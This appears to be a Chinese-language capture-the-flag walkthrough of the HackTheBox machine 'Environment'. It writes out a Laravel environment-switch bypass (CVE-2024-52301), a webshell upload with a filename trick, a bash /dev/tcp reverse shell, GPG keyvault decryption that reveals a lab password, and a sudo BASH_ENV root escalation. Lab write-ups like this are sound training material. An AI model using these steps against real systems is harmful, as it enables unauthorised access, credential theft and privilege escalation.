nmap -T4 -v -A -Pn 10.10.11.67 -oN environment.txt

environment.htb 域名

USER

port 80

扫描一下目录

ffuf -w dicc.txt -u "http://environment.htb/FUZZ" -c -fc 403

进入 login 查看

如果我们抓包查看,会发现 remember me 是通过 post 传值的,如果我们尝试 remember me 不传值,会发现页面直接变成报错, 爆出源码

Laravel preprod bypass

我们查看一下这个源码if(App::environment() == "preprod"),如果是预生产环境,就登录user_id=1的账户,然后跳转到/management/dashboard后台仪表盘

    if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
    }

    if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
        $request->session()->regenerate();
        $request->session()->put('user_id', 1);
        return redirect('/management/dashboard');
    }

    $user = User::where('email', $email)->first();

找到了这个漏洞

https://github.com/Nyamort/CVE-2024-52301

构造 poc 如下:?--env=preprod

成功进入后台

File upload

/management/profile发现可以上传头像,试试文件上传 webshell

文件名需要加点.绕过才能成功上传,如下

可以访问到返回的 webshell 路径,命令 id 成功执行

换成反弹 shell 的命令,记得 url 编码一下bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

本机监听,成功收到反弹

我们在/home/hish 可以找到 user.txt,可以直接查看

ROOT

gpg backup

在 hish 用户目录下还有一个 backup 文件,里面有一个 keyvault.gpg 文件

同时 hish 用户目录下有.gnupg这个隐藏文件夹,一般被 gpg 用来存储配置文件,密钥环等文件

#copy .gnupg文件夹
cp -r .gnupg /tmp/gnupg
#查看是否有私钥文件
gpg --homedir gnupg --list-secret-keys

我们可以看见pubring.kbx是,所以用来解密 keyvault.gpg

gpg --homedir /tmp/gnupg --decrypt /home/hish/backup/keyvault.gpg

成功拿到了各种密码,登录到 hish:marineSPm@ster!!

Environment variable injection

sudo -l查看一下权限

env_keep+="ENV BASH_ENV"表示可以在 sudo 执行命令的时候保持指定的环境变量

在 sudo 执行的时候通过BASH_ENV变量指定脚本,会在 sudo 执行之前加载指定的脚本

#创建脚本并添加执行权限
echo 'bash -p' > shell.sh
chmod +x shell.sh

指定shell.sh 为变量来执行,就可以直接查看 root.txt 了

sudo BASH_ENV=/tmp/shell.sh /usr/bin/systeminfo

"The quieter you become, the more you are able to hear."